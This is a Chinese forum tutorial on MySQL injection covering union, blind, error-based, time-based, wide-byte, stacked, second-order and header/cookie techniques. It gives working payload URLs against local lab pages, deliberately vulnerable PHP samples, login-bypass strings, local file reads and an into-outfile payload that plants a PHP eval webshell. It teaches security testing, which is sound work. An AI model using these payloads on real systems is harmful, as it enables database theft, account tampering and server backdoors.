用户
搜索

[web安全] MySQL注入篇

  • TA的每日心情
    开心
    4 天前
  • 签到天数: 21 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋-脚本小子

    Rank: 2

    6

    主题

    9

    帖子

    383

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-11-4
    发表于 2021-5-14 17:22:47 04991

    ​                  

    一、SQL注入的原理

    动态页面有时会通过脚本引擎将用户输入的参数按照预先设定的规则构造成SQL语句来进行数据库操作,sql注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,改变原有的SQL语句的语义来执行攻击者所要的操作,其主要原因是程序没有采用必要的措施避免用户输入内容改变原有SQL语句的语义。

    例如:

    URL:http://newdoone.com/Article.php?id=81 ==>  SQL语句:Select * from Article where id=81

    流程图
    image-20201108152407841

    二、SQL注入的危害

    • 获取敏感数据:获取网站管理员帐号、密码等。
    • 文件系统操作:列目录,读取、写入文件等。
    • 注册表操作:读取、写入、删除注册表等。
    • 执行系统命令:远程执行命令。

    三、 SQL注入的分类

    基于变量数据类型分类

    • 数字类型的注入
    • 字符串类型的注入
    • 搜索型注入

    依据提交方式分类

    • GET注入
    • POST注入
    • COOKIE注入
    • HTTP头注入(XFF注入、UA注入、REFERER注入)

    依据获取信息的方式分类

    • 基于回显
    • 基于错误
    • 盲注

      • 布尔型盲注
      • 基于时间盲注
    • 堆查询注入 (可同时执行多条语句)

    四、SQL注入测试方法

    判断注入漏洞的依据是什么?

    根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了,说明存在注入漏洞。

    流程图
    image-20201108152407841
    image-20201108152407841

    数字型判断

     // 报错注入
    1、参数后加单引号,报错
    http://127.0.0.1/2/sql1.php?id=1'
    SELECT first_name, last_name FROM users WHERE user_id = 1'; 
    //布尔型盲注
    2、参数后加“ and 1=1”,访问正常
    http://127.0.0.1/2/sql1.php?id=1 and 1=1
    SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1;
    3、参数后加“ and 1=2”,访问异常(如:无信息)
    http://127.0.0.1/2/sql1.php?id=1 and 1=2
    SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=2; 
    //时间型盲注
    4、 http://127.0.0.1/2/sql1.php?id=1 and sleep(5) 
    SELECT first_name, last_name FROM users WHERE user_id = 1 and sleep(5);

    字符型判断

    // 报错注入
    1、参数后加单引号,报错
    http://127.0.0.1/2/sql2.php?name=admin' 
    SELECT user_id,user FROM users WHERE last_name ='admin'';
    //布尔型盲注
    2、参数后加“'and'1'=‘1”,访问正常
    http://127.0.0.1/2/sql2.php?name=admin'and'1'='1
    SELECT user_id,user FROM users WHERE last_name ='admin'and'1'='1';
    3、参数后加“'and'1'='2”,访问异常
    http://127.0.0.1/2/sql2.php?name=admin'and'1'='2
    SELECT user_id,user FROM users WHERE last_name ='admin'and'1'='2';
    //时间型盲注
    4、参数后加 “' and sleep(3) --“3秒后打开
    http://127.0.0.1/2/sql2.php?name=admin' and/or sleep(3)+--+
    SELECT user_id,user FROM users WHERE last_name ='admin' and sleep(3) -- ';
    

    说明:
    1、字符型与数字型注入的主要区别是字符型注入需要通过单引号闭合来进行查询,有时还须通过注释屏蔽后续语句
    2、无论数字型还是字符型,满足上述条件时可基本判断存在注入漏洞,但不满足上述条件并不能证明漏洞不存在

    五、万能密码

    原理如下:

    // 代码
    <html>
    <head>    
        <title>登录验证</title>    
        <meta http-equiv="Content-Type" content="text/html; charset=gb2312">    
        <?php header("Content-type:text/html;charset=gb2312"); ?>
    </head>
    <body>
    <?php 
    $conn=@mysql_connect("10.10.10.4",'root','root') or die("数据库连接失败!");
    mysql_select_db("mysql",$conn) or die("您要选择的数据库不在");
    $name=$_POST['username'];  //获取用户输入的用户名
    $pwd=$_POST['password'];  //获取用户输入的密码
    //拼接形成SQL语句
    $sql="select * from admin where username='$name' and password='$pwd'";
    //执行SQL查询
    $query=mysql_query($sql);
    //获取SQL查询结果
    $arr=mysql_fetch_array($query);
    //判断结果集是否为空,若不为空则认证成功,否则认证失败
    if(is_array($arr)){
        header("Location:hello.php");
    }else{
        echo "您的用户名或密码输入有误,<a href=\"Login.php\">请重新登录!</a>";
    } 
     ?>
    </body>
    </html>
    
    核心原理:
    构造数据库操作命令的语句:
        select * from admin where user=‘$name’ and password=‘$pwd’
    当提交用户名admin,密码123456时:
        select * from admin where user=‘admin' and password=‘123456’
    当提交用户名admin' or '1'='1,密码111时:
        select * from admin where user=‘admin' or '1'='1' and password=‘111’or ‘1’=‘1’ 
    当AND和OR运算符同时出现时,先进行AND运算,再进行OR运算, 而‘1’=‘1’恒成立,因此只要数据库中有记录,返回的结果集一定不为空,即登录必然成功。
    效果图
    image-20201108150630040

    经典万能密码如下:

    image-20201108150934850

    六、MySQL基础知识

    在MySQL5.0以下,没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

    在MySQL5.0以上,MySQL中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

    当尝试删除该数据库时,会爆出以下的错误!

    img

    mysql中注释符

    • 单行注释:#  
    • 多行注释:/**/

    img

    information_schema数据库中三个很重要的表:

    • information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名
    • information_schema.tables:   该数据表存储了mysql数据库中的所有数据表的表名
    • information_schema.columns:  该数据表存储了mysql数据库中的所有列的列名

    关于这几个表的一些语法:

    // 通过这条语句可以得到所有的数据库名  
    select schema_name from information_schema.schemata limit 0,1
    // 通过这条语句可以得到所有的数据表名
    select table_name from information_schema.tables limit 0,1
    // 通过这条语句可以得到指定security数据库中的所有表名
    select table_name from information_schema.tables where table_schema='security'limit 0,1
    // 通过这条语句可以得到所有的列名
    select column_name from information_schema.columns limit 0,1
    // 通过这条语句可以得到指定数据库security中的数据表users的所有列名
    select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
    //通过这条语句可以得到指定数据表users中指定列password的数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
    select password from users limit 0,1

    mysql中比较常用的一些函数

    • version(): 查询数据库的版本      
    • user():查询数据库的使用者   
    • database():数据库
    • system_user():系统用户名
    • session_user():连接数据库的用户名
    • current_user:当前用户名
    • load_file():读取本地文件
    • @@datadir:读取数据库路径
    • @@basedir:mysql安装路径
    • @@version_complie_os:查看操作系统
    • ascii(str)/ord() : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
    • hex(str):返回十六进制编码的字符串
    • length(str) : 返回给定字符串的长度,如 length("string")=6
    • substr(string,start,length) :对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in"
    • substr()、stbstring()、mid()三个函数的用法、功能均一致
    • concat(username):将查询到的username连在一起,默认用逗号分隔
    • concat_ws('-',username,password):查询username,password并通过-分隔
    • concat(str1,'*',str2)**:将字符串str1和str2的数据查询到一起,中间用连接
    • group_concat(username) :将username数据查询在一起,用逗号连接
    • limit 0,1:查询第1个数    limit 5:查询前5个  limit 1,1: 查询第2个数       limit n,1: 查询第n+1个数  也可以 limit 1 offset 0
    • sleep() :睡眠函数
    • left(username,2):表示截取username从左到右两个字符长度的内容
    • regexp:正则匹配
    • like:模糊匹配,通过%通配符匹配

    更多SQL语句:

    七、UNION注入

    SQL中UNION 操作符用于合并两个或多个 SELECT 语句的结果集。UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型,结果会去掉重复的记录。当UNION之前的select语句结果集为空时,查询结果将由UNION后的SELECT语句控制。当WEB应用存在SQL注入时,巧妙使用union查询可以进行数据的盗取。

    流程如下:
    image-20201108154343042
    实例
    image-20201108154637393
    //代码分析
    <?php
    $con=mysqli_connect("localhost","root","root","security");
    // 检测连接
    if (mysqli_connect_errno())
    {
        echo "连接失败: " . mysqli_connect_error();
    }
    
    $id = $_GET['id'];
    
    $result = mysqli_query($con,"select * from users where `id`=".$id);
    
    while($row = mysqli_fetch_array($result))
    {
        echo $row['username'] . " " . $row['password'];
        echo "<br>";
    }
    ?>

    编码技巧:

    1、绕过引号被过滤

    方法
    image-20201108172116807

    2、绕过数据库本身的编码问题

    若执行union查询时,报错:Illegal mix of collations for operation 'UNION'

    可以用convert()进行编码转换

    如:group_concat(TABLE_NAME)
    group_concat (convert(TABLE_NAME using gbk))
    group_concat (convert(TABLE_NAME using latin1))
    group_concat (convert(TABLE_NAME using binary))
    group_concat (convert(TABLE_NAME using utf-8))
    group_concat (convert(TABLE_NAME using utf8))
    其中,Latin1是ISO-8859-1的别名,有些环境下写作Latin-1。IS0-8859-1编码是单字节编码,
    向下兼容ASCII。

    利用流程

    1、判断注入类型

    输入数字:正常显示

    效果图:
    image-20201024191957481

    输入单双引号:均报错,说明是数值型注入

    效果图:
    image-20201024192112187
    image-20201024192127964

    2、通过order by 判断列数

    ?id=1+order+by+3--+

    效果图:
    image-20201024192523995

    3、通过union语句判断哪些位置能够回显:2,3

    ?id=-1+union+select+1,2,3--+

    效果图:
    image-20201024192427539

    4、获取数据库名

    ?id=-1+union+select+1,2,(select+database())--+

    效果图:
    image-20201024195800124

    5、获取表名

    ?id=-1+union+select+1,2,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())--+

    image-202010242001272686、获取列名

    ?id=-1+union+select+1,2,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='users')--+

    效果图:
    image-20201024200747324

    7、获取字段名

    ?id=-1+union+select+1,username,password+from+users--+

    效果图:
    image-20201024203054492

    八、布尔型盲注

    1、判断数据库类型

    方法1:
    img
    方法2:
    image-20201108161534107
    image-20201108161556459

    mySQL数据库的特有的表是 information_schema.tables , access数据库特有的表是 msysobjects 、SQLServer 数据库特有的表是 sysobjects ,oracle数据库特有的表是 dual。那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库

    //判断是否是 Mysql数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
    //判断是否是 access数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
    //判断是否是 Sqlserver数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #
    //判断是否是Oracle数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and (select count(*) from dual)>0 #

    对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

    information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:

    • table_schema: 记录数据库名
    • table_name: 记录数据表名
    • table_rows: 关于表的粗略行估计;
    • data_length : 记录表的大小(单位字节);
    //代码分析
    <?php
    $con=mysqli_connect("localhost","root","root","security");
    // 检测连接
    if (mysqli_connect_errno())
    {
        echo "连接失败: " . mysqli_connect_error();
    }
    
    $id = $_GET['id'];
    
    if (preg_match("/union|sleep|benchmark/i", $id)) {
        exit("no");
    }
    
    $result = mysqli_query($con,"select * from users where `id`='".$id."'");
    
    $row = mysqli_fetch_array($result);
    
    if ($row) {
        exit("yes");
    }else{
        exit("no");
    }
    ?>

    利用方式:

    1、判断注入类型

    输入单引号报错

    效果图:
    image-20201024203648858

    输入双引号不报错

    效果图:
    image-20201024203717826

    闭合单引号,回显正常,说明是单引号注入

    image-20201024203934577

    2、判断数据库长度

    ?id=1'+and+length(database())>7页面显示yes,>8页面显示no,说明数据库的长度为7

    效果图:
    image-20201024205349945
    image-20201024205335114

    判断数据库名

    判断数据库第一个字符

    ?id=1’ and ascii(substr(database(),1,1))=115--+

    通过burpsuite爆破数据名为security

    效果图
    image-20201108161411674

    判断第一个表名的第一个字符

    ?id=1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))=101--+

    效果图
    image-20201024210352659

    爆破第一个表的表名为:emails

    效果图:
    image-20201024211803940
    image-20201024211726512

    爆破第二个表的表名为:referers

    效果图:
    image-20201024212028244
    image-20201024212050351

    爆破第三个表名为:uagents

    效果图:
    image-20201024212715891
    image-20201024212700229

    爆破第四个表为:users

    效果图:
    image-20201024212847961
    image-20201024212838551

    判断第一个列名的第一个字符,可以通过二分法。

    id=1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1),1,1))=105

    效果图:
    image-20201024213338970

    爆破第一个列的名字为:id

    效果图:
    image-20201024213740728
    image-20201024213656511

    爆破第二个列的名字为:username

    效果图:
    image-20201024213944033
    image-20201024213922415

    或者通过正则匹配列名username

    ?id=1%27%20and%201%20=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20column_name%20regexp%20%27^username$%27%20limit%200,1)%20--+

    效果图:
    image-20201024220523088

    爆破第三个列的名字为:password

    效果图:
    image-20201024214153824
    image-20201024214203656

    或者通过正则匹配列名password

    ?id=1%27%20and%201%20=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20column_name%20regexp%20%27^password$%27%20limit%200,1)%20--+

    效果图:
    image-20201024221011248

    爆破第一个用户名,密码的第一个字符

    id=1%27+and+ascii(substr((select+concat_ws(%27:%27,username,password)+from+users+limit+0,1),1,1))=68--+

    效果图:
    image-20201024215111816

    爆破第一个用户名,密码:Dumb:Dumb

    效果图:
    image-20201024215719610
    image-20201024215740696

    后面也是一样的只需要修改limit后的值即可。

    九、文件读写

    • 当有显示列的时候,文件读可以利用 union 注入。
    • 当没有显示列的时候,只能利用盲注进行数据读取。

    先通过show global variables like '%secure%';来查看数据库是否具有文件读写权限

    image-20201108171056317

    secure_ file_ priv
    1、限制mysqld不允许导入|导出
    --secure_ file_ prive=null
    2、限制mysqld的导入|导出只能发生在/tmp/目录下
    --secure_ file_ priv=/tmp/
    3、不对mysqld的导入|导出做限制
    --secure_ file_ priv=
    linux .
    cat /etc/my.cnf
        [mysqld]
            secure_ file_ priv=
    win
        my.ini
            [mysqld]
                secure_ file_ priv=

    示例:读取e盘下3.txt文件

    union注入读取文件(load_file)

    //union注入读取c:/pass.ini 文件
    http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,2,load_file("c:/pass.ini")#
    
    //也可以把 c:/pass.ini 转换成16进制 0x653a2f332e747874
    http://127.0.0.1/sqllab/Less-2/?id=-1 unionselect1,2,load_file(0x633a2f706173732e696e69)#
    union
    image-20201108162250348
    image-20201108162419844

    盲注读取文件

    //盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成http://127.0.0.1/sqllab/Less-5/?id=1' and (select ascii(substr(hex(load_file('c:/pass.ini')),1,1))=69) --+
    效果图:
    image-20201108165716712

    union写入文件(into outfile)

    关于网站路径的获取:

    https://blog.csdn.net/tk86935367/article/details/8296641

    1. 报错显示

    2. 谷歌黑客

      inurl:edu.cn warning

      image-20210208145032088

    3. 读取搭建平台配置文件

      image-20210208145301756

    4. 漏洞报错

    5. 遗留文件

    6. 字典猜解
    //利用union注入写入一句话木马  into outfile 和 into dumpfile 都可以 http://127.0.0.1/sqllab/Less-2/?id=1  union select 1,2,'<?php @eval($_POST["v"]);?>'  into outfile 'D:/phpStudy/WWW/xzz.php' --+// 可以将一句话木马转换成16进制的形式 http://127.0.0.1/sqllab/Less-2/?id=1  union select 1,2,0x3c3f70687020406576616c28245f504f53545b2276225d293b3f3e  into dumpfile 'D:/phpStudy/WWW/xzz.php' --+
    效果图
    image-20201108170742242

    十、报错注入

    在进行SQL注入点测试的时候,构造报错注入语句是第一步,报错注入语句的构造相对简单,通常
    只要在参数值中增加一- 些常见的符号就可以让SQL语句产生语法错误,常见可使用的符号包括单引号、
    双引号、括号、分号、冒号、斜杠、反斜杠等,可以将这些符号组合使用进行尝试。.

    常见的测试payload: '  "  ') ") '")<<>/ 等

    对于数字型SQL注入,常见符号都可以引起语法错误
    SELECT title, context FROM news WHERE newsid= 11'
    SELECT title, context FROM news WHERE newsid= 11"
    SELECT title, context FROM news WHERE newsid= 11)
    对于字符型SQL注入点,通常需要使用单引号或双引号闭合原有的单双引号才能引起错误
    SELECT score FROM info WHERE name='lilei'")’
    SELECT score FROM info WHERE name="lilei'")"
    现象判断
    image-20201108180404462

    利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()
    优点: 不需要显示位
    缺点: 需要输出 mysql_error( )的报错信息

    //代码分析<?php$con=mysqli_connect("localhost","root","123456","test");// 检测连接if (mysqli_connect_errno()){   echo "连接失败: " . mysqli_connect_error();}$username = $_GET['username'];if($result = mysqli_query($con,"select * from users where `username`='".$username."'")){  echo "ok";}else{    echo mysqli_error($con);}?>

    利用流程:

    通过updatexml注入:

    UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码!

    UPDATEXML (XML_document, XPath_string, new_value)

    • 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1
    • 第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
    • 第三个参数:new_value,String 格式,替换查找到的符合条件的数据

    作用:改变文档中符合条件的节点的值

    获取数据库名

    ?username=1%27+and+updatexml(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()),0x7e),1)--+

    效果图:
    image-20201024222801559

    获取表名

    ?username=1%27+and+updatexml(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),0x7e),1)--+

    效果图:
    image-20201024223240385
    image-20201024223256403
    image-20201024223343584
    image-20201024223359054

    获取列名

    ?username=1%27+and+updatexml(1,concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name='users'+and+table_schema=database()+limit+1,1),0x7e),1)--+

    效果图:
    image-20201024224020216
    image-20201024224036227
    image-20201024224052332

    获取username,password字段值

    ?username=1%27+and+updatexml(1,concat(0x7e,(select+concat_ws(':',username,password)+from+users+limit+0,1),0x7e),1)--+

    效果图:
    image-20201024225346449
    image-20201024225402473
    image-20201024225417286

    通过floor报错注入:

    原理

    // 获取数据库,其他数据方法类似
    http://127.0.0.1/sqli/Less-1/?id=-1'  and (select 1 from (select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)))a) #
    //将其分解
    (select 1 from (Y)a)
    Y= select count(*) from information_schema.tables group by concat(Z)
    Z= user(),floor(rand(0)*2)           //将这里的 user() 替换成我们需要查询的函数
    暴库
    image-20201108181436559
    暴表
    image-20201108181622904

    通过ExtractValue报错注入

    EXTRACTVALUE (XML_document, XPath_string)

    • 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
    • 第二个参数:XPath_string (Xpath 格式的字符串).

    作用:从目标 XML 中返回包含所查询值的字符串

    //获取数据库
    http://127.0.0.1/sqllab/Less-2/?id=1 and extractvalue(1,concat(0x7e,database(),0x7e)) --+

    更多报错语句可参考:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

    十一、时间盲注

    对于没有涉及判断的功能,如插入、更新等语句的数据位置( 而非条件语句的位置),或者布尔
    型盲注的结果无法判断的(如显示均正常或均异常),可以尝试使用时间型盲注语句进行测试,如果插
    入时间型盲注语句后服务器延时响应,则认为存在SQL注入漏洞。.
    与其他测试方式不同的是,时间型盲注依赖于时间相关函数或语法,每个数据库的函数并不相同只能进行尝试
    。在实际使用中,通常有直接调用延时函数(或语法)和调用耗时较高的函数(或语法)两种方式:
    1、直接调用延时函数(或语法)
    mysq|和sqlserver提供了可直接调用的延时函数和语法,如mysql的sleep函数和SQL server的waitfor语
    法可直接调用。

    2、调用耗时较高的函数( 或语法)

    针对其他数据库或延时函数(或语法)不适用时可以尝试调用耗时较高的函数或语法。如:
    select BENCHMARK( 10000000,MD5('a ));

    Mysql: SLEEP函数可以实现延迟,在所有数据位置均可以使用:
    ➢对于数字型SQL注入,通常直接拼接判断语句即可
    SELECT title, context FROM、news WHERE newsid= 11 and sleep(10)
    ➢对于字符型SQL注入点,通常需要使用单引号或双引号闭合原有的单双引号才能进行拼接
    SELECT score FROM、info^ WHERE name=' lilei' and sleep(10) and ’1'
    SQLserver: WAITFOR DELAY语句可以实现,通常需要跟在条件判断语句之后:
    ➢对于数字型SQL注入,通常直接拼接判断语句即可
    SELECT title, context FROM news WHERE newsid= 11 waitfor delay '0:0:4'
    ➢对于字符型SQL注入点,通常需要使用单引号或双引号闭合原有的单双引号才能进行拼接
    SELECT score FROM、 info WHERE name=' lilei’waitfor delay '0:0:4'
    //代码分析
    <?php
    $con=mysqli_connect("localhost","root","123456","test");
    // 检测连接
    if (mysqli_connect_errno())
    {
        echo "连接失败: " . mysqli_connect_error();
    }
    
    $id = $_GET['id'];
    
    if (preg_match("/union/i", $id)) {
        exit("<htm><body>no</body></html>");
    }
    
    $result = mysqli_query($con,"select * from users where `id`='".$id."'");
    
    $row = mysqli_fetch_array($result);
    
    if ($row) {
        exit("<htm><body>yes</body></html>");
    }else{
        exit("<htm><body>no</body></html>");
    }
    ?>
    // 判断数据库的第一个字符
    http://127.0.0.1/source/4.2.2/time.php?id=1' and if(ascii(substr(database(),2,1))=102,1,sleep(5)) --+
    暴库
    image-20201108200654567

    十二、宽字节注入

    原理:宽字节注入是由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,我们可以通过输入 echo strlen("中") 来测试,当为GBK编码时,输入2,而为UTF-8编码时,输出3。除了GBK以外,所有的ANSI编码都是中文都是占用两个字节。

    addslashes() :这个函数在预定义字符之前添加反斜杠 \ 。预定义字符: 单引号 ' 、双引号 " 、反斜杠 \ 、NULL。但是这个函数有一个特点就是虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用 get_magic_quotes_gpc() 来检测是否已经转义。

    mysql_real_escape_string() :这个函数用来转义sql语句中的特殊符号x00 、\n 、\r 、\ 、‘ 、“ 、x1a。

    魔术引号:当打开时,所有的单引号’ 、双引号" 、反斜杠\ 和 NULL 字符都会被自动加上一个反斜线来进行转义,这个和 addslashes() 函数的作用完全相同。所以,如果魔术引号打开了,就不要使用 addslashes() 函数了。一共有三个魔术引号指令。

    • magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。如果 magic_quotes_gpc 关闭时返回 0,开启时返回 1。在 PHP 5.4.0 起将始终返回 0,因为这个魔术引号功能已经从 PHP 中移除了。
    • magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。 参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
    • magic_quotes_sybase (魔术引号开关)如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不会进行转义。

    可以在 php.ini 中看这几个参数是否开启

    img

    //代码分析<?php$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');mysql_select_db('security', $conn) OR emMsg("数据库连接失败");mysql_query("SET NAMES 'gbk'",$conn);$id = addslashes($_GET['id']);$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result = mysql_query($sql, $conn) or die(mysql_error()); $row = mysql_fetch_array($result);  if($row)    {   echo $row['username'] . $row['address'];    }   else    {   print_r(mysql_error()); }      ?></font> <?phpecho "<br>The Query String is : ".$sql ."<br>";?>

    爆破数据库

    ?id=-1%df%27%20%20union%20select%201,database(),3%20--+

    效果图:
    image-20201027213645143

    爆破数据表

    127.0.0.1/source/4.2.8/kuanzifu.php?id=-1%df' union select 1,group_concat(table_name),3  from information_schema.tables where table_schema=database()--+

    效果图:
    image-20201027214525146

    爆破数据列

    127.0.0.1/source/4.2.8/kuanzifu.php?id=-1%df' union select 1,group_concat(column_name),3  from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

    效果图:
    image-20201027214644090

    爆破字段

    127.0.0.1/source/4.2.8/kuanzifu.php?id=-1%df' union select 1,concat(username,0x7e,password),3 from users limit 1,1--+

    效果图:
    image-20201027214838860

    十三、堆叠注入

    (1)前言

      国内有的称为堆查询注入,也有称之为堆叠注入。个人认为称之为堆叠注入更为准确。堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。这种技术在SQL注入中还是比较频繁的。

    (2)原理介绍

      在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

    例子:

    select * from student whereid=1;create table test;当执行查询后,第一条显示查询信息,第二条则创建一个test表。

    插入用户

    http://127.0.0.1/sqllabs/Less-38/?id=-1' union select 1,database(),3;insert into users values(18,'zhong','zhong')%23http://127.0.0.1/sqllabs/Less-38/?id=-1' union select 1,database(),3;insert into users values(19,'C1ay','hack')%23

    image-20210213185617296

    image-20210213180612119

    删除用户zhong

    http://127.0.0.1/sqllabs/Less-38/?id=-1' union select 1,database(),3;delete from users where id=18 %23

    image-20210213185913321

    修改C1ay的密码

    http://127.0.0.1/sqllabs/Less-38/?id=-1' union select 1,database(),3;update users set password='a123456.' where id=19 %23

    image-20210213190016313

    在堆叠注入页面中,程序获取GET参数ID,使用PDO的方式进行数据查询,但仍然将参数ID拼接到查询语句,导致PDO没起到预编译的效果,程序仍然存在SQL注入漏洞,代码如下所示。

    <?phptry {    $conn = new PDO("mysql:host=localhost;dbname=security", "root", "root");    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);    $stmt = $conn->query("SELECT * FROM users where `id` = '" . $_GET['id'] . "'");    $result = $stmt->setFetchMode(PDO::FETCH_ASSOC);    foreach($stmt->fetchAll() as $k=>$v) {        foreach ($v as $key => $value) {            echo $value;        }    }    $dsn = null;}catch(PDOException $e){    echo "error";}$conn = null;?>
    if (expr1,expr2,expr3):若expr1为true,则执行expr1,否则执行expr3判断数据库库名长度:1;select if (length(database())>1,sleep(5),1)判断数据库库名:1;select if(substr(database(),1,1)='t',sleep(5),1)判断表名:1;select if (substr((select table_name from information_schema.tables where table_schema='database()' limit 0,1),1,1)='p',sleep(5),1)判断字段名:1;select if (substr(select column_name from information_schema.columns where table_schema='database()' and table_name='users' limit 0,1),1,1)='i',sleep(5),1)判断内容: 1;select if(substr((select username from test.users limit 0,1),1,1)='z',sleep(5),1)
    效果图
    image-20201108203648311

    堆注入:https://www.cnblogs.com/0nth3way/articles/7128189.html

    supersql:https://blog.csdn.net/qq_26406447/article/details/90643951

    十四、二次注入

    二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

    1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
    2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
    3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
    4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
    5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

    我们访问 http://127.0.0.1/sqli/Less-24/index.php

    是一个登陆页面,我们没有账号,所以选择新建一个用户

    img

    我们新建的用户名为:admin'#  密码为:123456

    查看数据库,可以看到,我们的数据插入进去了

    img

    我们使用新建的用户名和密码登录

    img

    登录成功了,跳转到了后台页面修改密码页面。

    我们修改用户名为:admin'#  密码为:aaaaaaaaa

    img

    提示密码更新成功!

    img

    我们查看数据库,发现用户 admin'# 的密码并没有修改,而且 admin 用户的密码修改为了 aaaaaaaaaa

    img

    那么,为什么会这样呢?我们查看修改密码页面源代码,发现这里存在明显的SQL注入漏洞

    img

    当我们提交用户名 admin'# 修改密码为 aaaaaaaaaa 的时候,这条SQL语句就变成了下面的语句了。

    #把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaaaaaa

    $sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";

    十五、User-Agent注入

    我们访问 http://127.0.0.1/sqli/Less-18/ ,页面显示一个登陆框和我们的ip信息

    当我们输入正确的用户名和密码之后登陆之后,页面多显示了 浏览器的User-Agent

    img

    抓包,修改其User-Agent为

    'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1  #我们可以将 database()修改为任何的函数

    img

    可以看到,页面将当前的数据库显示出来了

    img

    十六:Cookie注入

    //代码分析<?php  $id = $_COOKIE['id'];  $value = "1";  setcookie("id",$value);  $con=mysqli_connect("localhost","root","root","security");  if (mysqli_connect_errno())  {   echo "连接失败: " . mysqli_connect_error();  }  $result = mysqli_query($con,"select * from users where `id`=".$id);  if (!$result) {    printf("Error: %s\n", mysqli_error($con));    exit();  }  $row = mysqli_fetch_array($result);  echo $row['username'] . " : " . $row['password'];  echo "<br>";?>

    注入流程

    1、判断注入点

    image-20201108214830402

